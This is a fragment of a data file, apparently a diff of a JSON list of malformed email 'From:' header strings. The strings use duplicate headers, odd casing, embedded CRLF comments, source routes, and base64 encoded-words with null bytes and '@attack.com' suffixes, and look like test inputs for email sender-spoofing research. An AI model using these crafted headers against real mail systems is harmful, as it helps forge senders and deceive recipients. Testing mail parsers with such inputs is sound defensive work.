security@china.com,,\r\n", - "From:wordword\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbSx3ZWJtYXN0ZXJAZm94bWFpbC5jb20NCg===?=>\u0000@attack.com", - "From: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - " From:(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooaGkpLCwsKGhpKTxAYS5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPigNCiksDQo==?=>", - "From:hr@foxmail.com,,\r\n", - "From: ,,,word(\r\n)\r\n", - " From: \r\nFrom:wordword\r\n", - "From: <=?utf-8?RnJvbTooKSxNaWtlQDEzOS5jb20sDQo==?=>", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20NCg===?=>\u0000@attack.com", - "From:(comm\r\nent)(hi)\r\n", - "From: Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - "From :webmaster@sina.com,Mike@ymail.com.cn\r\n", - "From:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBnbWFpbC5jb20saHJAaWNsb3VkLmNvbQ0K=?=>", - " From: \r\nFrom:()\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20NCg===?=>", - "From:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - " Fromÿ: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - "From:Bob@139.com,hr@china.com\r\n", - "From: ,Bob@ymail.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAMTI2LmNvbSx3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5Ac2luYS5jb20+DQo==?=>", - " From:Alice@msn.com,\r\n", - "From: (comm\r\nent),,key@aliyun.com,,\r\n", - "From: (comment),Mike@qq.com,()(hi)\r\n", - "From: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - "From: wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - "From: \r\nFrom:(),Bob@qq.com\r\n", - " From: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", - " From:Mike@163.com,(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooKTxNaWtlQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>", - "From: (\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - " FrOM: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - " FrOM: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", - " From:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - "From:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - " From: \r\nFrom:(comment),wordword\r\n", - "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbQ0K=?=>\u0000@attack.com", - "From: ,,Alice@msn.com,,()\r\n", - "From :admin@icloud.com\r\n", - " Fromÿ: \r\nFrom:,,,\r\n", - "From: (\r\n),wordword(\r\n)(\r\n),\r\n", - "From: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", - " Fromÿ: \r\nFrom:(),webmaster@sina.cn,\r\n", - " From:,()(comment),(\r\n)\r\n", - " Fromÿ: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbQ0K=?=>\u0000@attack.com", - " From:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - " Fromÿ: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From :word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBmb3htYWlsLmNvbSxhdHRhY2tlckAxMzkuY29tDQo==?=>", - " From: \r\nFrom:,hr@live.com,hr@126.com\r\n", - "From:Mike@163.com,(comm\r\nent)\r\n", - "From: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - " From:admin@live.com\r\n", - "From:attacker@ymail.com.cn\r\n", - "From: attacker@outlook.com\r\n", - "From: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - "From: admin@china.com,,,\r\n", - "From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - "From :(hi),(),,,word()(\r\n)()\r\n", - "From :,security@china.com\r\n", - "From: \r\nFrom:webmaster@139.com\r\n", - " Fromÿ: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", - " From:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZDxCb2JAYWxpeXVuLmNvbT4oY29tbQ0KZW50KSwoKSwoDQopDQo==?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:security@china.com,,\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - "From:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - "From :attacker@126.com\r\n", - "From :,webmaster@sina.cn,,,(\r\n)\r\n", - " Fromÿ: \r\nFrom:,attacker@sina.com,(hi)\r\n", - " Fromÿ: \r\nFrom:wordword(\r\n)(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206a2V5QDEyNi5jb20+DQo==?=>", - " FrOM: \r\nFrom:admin@live.com,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpockBzb2h1LmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", - "From: (comm\r\nent)(hi),key@msn.com\r\n", - "From:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - " From: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", - " FrOM: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - "From: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - "From :Bob@sohu.com\r\n", - " Fromÿ: \r\nFrom:(\r\n),key@qq.com,\r\n", - "From: Alice@foxmail.com,attacker@139.com\r\n", - "From: \r\nFrom:(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsKCksKGhpKSwsLGtleUBob3RtYWlsLmNvbSwNCg===?=>", - "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbSwsDQo==?=>", - "From: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - "From :webmaster@qq.com,()\r\n", - "From: Bob@sohu.com,Mike@qq.com\r\n", - "From: <=?utf-8?RnJvbTooDQopLChoaSksKCksKGNvbW0NCmVudCksPGFkbWluQGFsaXl1bi5jb20+DQo==?=>", - "From: \r\nFrom:Mike@msn.com\r\n", - " From: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - "From:<@qq.com:@163.com:Mike@163.com>\r\n", - " From: \r\nFrom:wordwordword(comment)\r\n", - "From: (\r\n),(hi),(),(comm\r\nent),\r\n", - "From :word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - " FrOM: \r\nFrom:()\r\n", - " From:(comment),wordword\r\n", - "From:wordword().(hi)\r\n", - "From: admin@china.com\r\n", - " From:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - "From: key@hotmail.com\r\n", - " Fromÿ: \r\nFrom:word(comm\r\nent)\r\n", - " From:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - "From: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - " Fromÿ: \r\nFrom:Bob@126.com\r\n", - " Fromÿ: \r\nFrom:key@hotmail.com\r\n", - "From:word(comm\r\nent),,(\r\n)\r\n", - "From: \r\nFrom:wordword(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20saHJAMTI2LmNvbQ0K=?=>", - "From: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - "From: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - "From: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", - " FrOM: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbSx3b3Jkd29yZHdvcmQoDQopPHdlYm1hc3RlckBjaGluYS5jb20+LChjb21tZW50KTxrZXlAbGl2ZS5jb20+KGhpKQ0K=?=>", - " From: \r\nFrom:admin@sina.com,(comment),\r\n", - "From: <=?utf-8?RnJvbTooKSw8QGEuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAMTM5LmNvbT4oY29tbQ0KZW50KSwsDQo==?=>\u0000@attack.com", - " FrOM: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", - "From:(),webmaster@sina.cn,\r\n", - "From:(comm\r\nent)(hi),key@msn.com\r\n", - "From :()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - "From:key@outlook.com,(comm\r\nent)\r\n", - " FrOM: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSwoDQopPHdlYm1hc3RlckBjaGluYS5jb20+DQo==?=>\u0000@attack.com", - " From:Bob@sohu.com,security@sohu.com\r\n", - "From: key@foxmail.com,(\r\n)\r\n", - "From:()\r\n", - "From: Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - "From:(comment),wordword\r\n", - "From :word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - "From: \r\nFrom:,Bob@ymail.com\r\n", - "From:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - "From :word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - "From :key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQG1zbi5jb20+LDxAYS5jb206QGIuY29tOnNlY3VyaXR5QHNvaHUuY29tPg0K=?=>\u0000@attack.com", - "From :,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - " From: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - " From:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - " Fromÿ: \r\nFrom:Alice@163.com\r\n", - "From :(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - " FrOM: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbQ0K=?=>\u0000@attack.com", - "From: attacker@sohu.com,webmaster@foxmail.com\r\n", - " From:Alice@outlook.com\r\n", - " FrOM: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - "From:,(\r\n),hr@aliyun.com,\r\n", - "From: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - "From:,Mike@ymail.com\r\n", - " FrOM: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - " From: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - " Fromÿ: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBnbWFpbC5jb20saHJAaWNsb3VkLmNvbQ0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - " From: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", - " FrOM: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", - " Fromÿ: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", - " Fromÿ: \r\nFrom:Bob@139.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkLigNCik8QWxpY2VAbXNuLmNvbT4saHJAeW1haWwuY29tDQo==?=>", - "From:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmhyQHFxLmNvbT4oDQopDQo==?=>\u0000@attack.com", - " From:webmaster@sina.com\r\n", - "From :,,,word(\r\n)\r\n", - "From: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", - " From:(comment),Mike@qq.com,()(hi)\r\n", - "From :key@sina.cn,\r\n", - "From: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - "From: attacker@126.com\r\n", - "From: \r\nFrom:security@china.com,,\r\n", - "From:,(\r\n)\r\n", - " From:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - "From:admin@qq.com\r\n", - " FrOM: \r\nFrom:,attacker@sina.com,(hi)\r\n", - " From:word.(\r\n),hr@ymail.com\r\n", - " From: \r\nFrom:,attacker@sina.com,(hi)\r\n", - "From:key@sina.cn,\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAZ21haWwuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>", - " Fromÿ: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - "From :(comment),word(comm\r\nent),(),(\r\n)\r\n", - " FrOM: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", - "From: <=?utf-8?RnJvbTo8YWRtaW5AMTI2LmNvbT4sKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QG91dGxvb2suY29tPg0K=?=>\u0000@attack.com", - " From: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - " FrOM: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - " Fromÿ: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", - " FrOM: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8YWRtaW5AcXEuY29tPg0K=?=>\u0000@attack.com", - "From :(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - " FrOM: \r\nFrom:,(comment),(),word..(hi)\r\n", - "From: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxNjMuY29tPg0K=?=>\u0000@attack.com", - "From: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", - "From:,hr@aliyun.com\r\n", - "From :security@sina.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206YWRtaW5AZ21haWwuY29tPigNCikNCg===?=>", - "From: <=?utf-8?RnJvbTooaGkpLChjb21tDQplbnQpLHdvcmQoKS4oDQopPGF0dGFja2VyQHNpbmEuY24+DQo==?=>\u0000@attack.com", - "From:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - " From: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBnbWFpbC5jb20+KGhpKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmtleUB5bWFpbC5jb20uY24+KGNvbW0NCmVudCksQWxpY2VAeW1haWwuY29tLmNuLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGFsaXl1bi5jb20+KGhpKSwoDQopPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQDEzOS5jb20+DQo==?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:,hr@126.com,(hi)\r\n", - "From: \r\nFrom:security@126.com\r\n", - "From: wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBzaW5hLmNvbSwoY29tbWVudCksDQo==?=>\u0000@attack.com", - " From:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", - " From:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - "From: \r\nFrom:,,key@foxmail.com\r\n", - "From: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - "From: word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksKCk8QGdtYWlsLmNvbTpAYi5jb206Qm9iQGljbG91ZC5jb20+LCw8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUB5bWFpbC5jb20uY24+LChoaSksKGNvbW1lbnQpDQo==?=>", - "From:wordword(\r\n)\r\n", - " Fromÿ: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - "From :(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTo8a2V5QGxpdmUuY29tPigpDQo==?=>\u0000@attack.com", - " From:,(comment),key@qq.com,(hi)\r\n", - " FrOM: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - " From:attacker@ymail.com.cn\r\n", - "From: \r\nFrom:attacker@163.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZDxCb2JAYWxpeXVuLmNvbT4oY29tbQ0KZW50KSwoKSwoDQopDQo==?=>", - " FrOM: \r\nFrom:,,,word(\r\n)\r\n", - "From: webmaster@gmail.com\r\n", - " Fromÿ: \r\nFrom:,webmaster@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTpockBpY2xvdWQuY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+LChjb21tZW50KSwsKA0KKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmhyQHNpbmEuY24+KCksDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHNpbmEuY24sLCwoDQopDQo==?=>", - "From: attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - "From :webmaster@139.com\r\n", - "From:attacker@sohu.com,webmaster@foxmail.com\r\n", - "From: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - " From:(hi),admin@msn.com\r\n", - " FrOM: \r\nFrom:(),key@icloud.com,,,\r\n", - "From: <=?utf-8?RnJvbTo8c2VjdXJpdHlAZm94bWFpbC5jb20+KCkNCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - " From:hr@gmail.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbQ0K=?=>\u0000@attack.com", - " From:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - "From :Alice@live.com\r\n", - "From: <=?utf-8?RnJvbTosLGtleUBmb3htYWlsLmNvbQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:key@icloud.com\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - " FrOM: \r\nFrom:key@sohu.com\r\n", - "From :webmaster@sina.com\r\n", - "From:,,(comment),webmaster@sina.cn,(hi)\r\n", - " From:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - "From: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", - "From :Bob@qq.com,wordwordwordword(hi)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAYWxpeXVuLmNvbSwoKSwsLHdvcmQ8YXR0YWNrZXJAZm94bWFpbC5jb20+DQo==?=>", - " From: \r\nFrom:admin@live.com,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphdHRhY2tlckAxMzkuY29tPg0K=?=>", - " FrOM: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - "From: ,webmaster@foxmail.com\r\n", - "From: wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbQ0K=?=>", - "From:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - " From: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTpockAxNjMuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosaHJAYWxpeXVuLmNvbQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLCgpLHdvcmQuLihoaSk8d2VibWFzdGVyQHRvcC5jb20+DQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBsaXZlLmNvbT4sd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckAxMjYuY29tPiw8QGEuY29tOkBiLmNvbTpBbGljZUAxMzkuY29tPihjb21tZW50KQ0K=?=>", - "From :Alice@163.com\r\n", - " FrOM: \r\nFrom:wordwordword(comment)\r\n", - "From :word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - "From: word<@qq.com:@163.com:key@126.com>\r\n", - "From:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - "From :wordword\r\n", - "From:", - "From: wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - " From: \r\nFrom:Alice@msn.com,\r\n", - " FrOM: \r\nFrom:webmaster@gmail.com\r\n", - "From:,attacker@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLHNlY3VyaXR5QHNpbmEuY29tLCx3b3Jkd29yZHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGdtYWlsLmNvbT4oaGkpLCgpPGhyQGNoaW5hLmNvbT4oY29tbQ0KZW50KQ0K=?=>", - " FrOM: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - " From: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - "From: wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - " From:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - " Fromÿ: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - "From: (),key@icloud.com,,,\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBtc24uY29tPigNCiksTWlrZUBxcS5jb20sQWxpY2VAMTYzLmNvbSwoY29tbQ0KZW50KTxockB0b3AuY29tPigpLGtleUBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", - "From: admin@sohu.com\r\n", - "From: webmaster@qq.com,()\r\n", - "From:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - "From:webmaster@gmail.com,key@126.com\r\n", - " FrOM: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - " From: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - "From:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - "From :,attacker@sina.com,(hi)\r\n", - "From:key@foxmail.com,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmhyQHFxLmNvbT4oDQopDQo==?=>", - " From: \r\nFrom:(),key@icloud.com,,,\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBsaXZlLmNvbT4oKQ0K=?=>", - " FrOM: \r\nFrom:Bob@126.com\r\n", - "From: <=?utf-8?RnJvbTo8YWRtaW5AMTI2LmNvbT4sKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QG91dGxvb2suY29tPg0K=?=>", - " From:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - " From:webmaster@qq.com,()\r\n", - "From: attacker@163.com\r\n", - "From: key@icloud.com\r\n", - " From: \r\nFrom:,,,\r\n", - " From:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", - "From: webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPihoaSkNCg===?=>\u0000@attack.com", - "From: (comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCkoY29tbWVudCk8QHFxLmNvbTpAMTYzLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPiwNCg===?=>", - "From: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPHdlYm1hc3RlckAxMjYuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:hr@163.com\r\n", - " FrOM: \r\nFrom:security@126.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoDQopLCgNCiksLHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206Qm9iQGhvdG1haWwuY29tPigpDQo==?=>\u0000@attack.com", - "From :(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTM5LmNvbQ0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", - "From: word(\r\n)(\r\n)\r\n", - "From :Bob@sohu.com,security@sohu.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsKCksKGhpKSwsLGtleUBob3RtYWlsLmNvbSwNCg===?=>\u0000@attack.com", - " From:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - "From:admin@live.com,(\r\n)\r\n", - "From: ,hr@live.com,hr@126.com\r\n", - " From: \r\nFrom:webmaster@126.com\r\n", - " From: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - "From: (hi),admin@msn.com\r\n", - "From: Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGZveG1haWwuY29tPix3b3JkPGF0dGFja2VyQGxpdmUuY29tPix3b3JkKGNvbW1lbnQpPGhyQHNpbmEuY29tPihjb21tDQplbnQpDQo==?=>", - 